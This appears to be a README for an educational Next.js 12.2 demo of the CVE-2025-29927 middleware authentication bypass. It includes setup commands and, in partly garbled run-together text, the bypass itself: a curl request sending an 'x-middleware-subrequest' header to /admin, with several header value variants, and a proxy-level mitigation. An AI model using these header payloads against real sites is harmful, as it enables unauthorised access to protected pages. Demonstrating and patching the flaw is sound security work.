
🔓 Next.js Auth Bypass Demo - Educational application demonstrating CVE-2025-29927 middleware authentication bypass vulnerability . ⚠️ For educational use only.[Made using Ai]
A simple proof of concept Next.js 12.2 application.
npm install
npm run dev
The application will be available at http://localhost:3000
npm run dev - Start development servernpm run build - Build for productionnpm run start - Start production serverEdit pages/index.js to modify the Hello World page. The application uses inline styles for simplicity, but you can add CSS files or styling libraries as needed.
This application demonstrates the CVE-2025-29927 vulnerability discovered by Rachid.A (zhero) and Yasser Allam (inzo_):
x-middleware-subrequest headeradminadminx-middleware-subrequest: middleware headercurl -H "x-middleware-subrequest: middleware" http://localhost:3000/adminx-middleware-subrequest: middlewarex-middleware-subrequest: src/middlewarex-middleware-subrequest: middleware:middleware:middleware:middleware:middlewarex-middleware-subrequest header at proxy/CDN level⚠️ WARNING: This demonstrates a real CVE for educational purposes only!
This application uses inline styles for simplicity. For a production app, consider using:
Happy coding! 🚀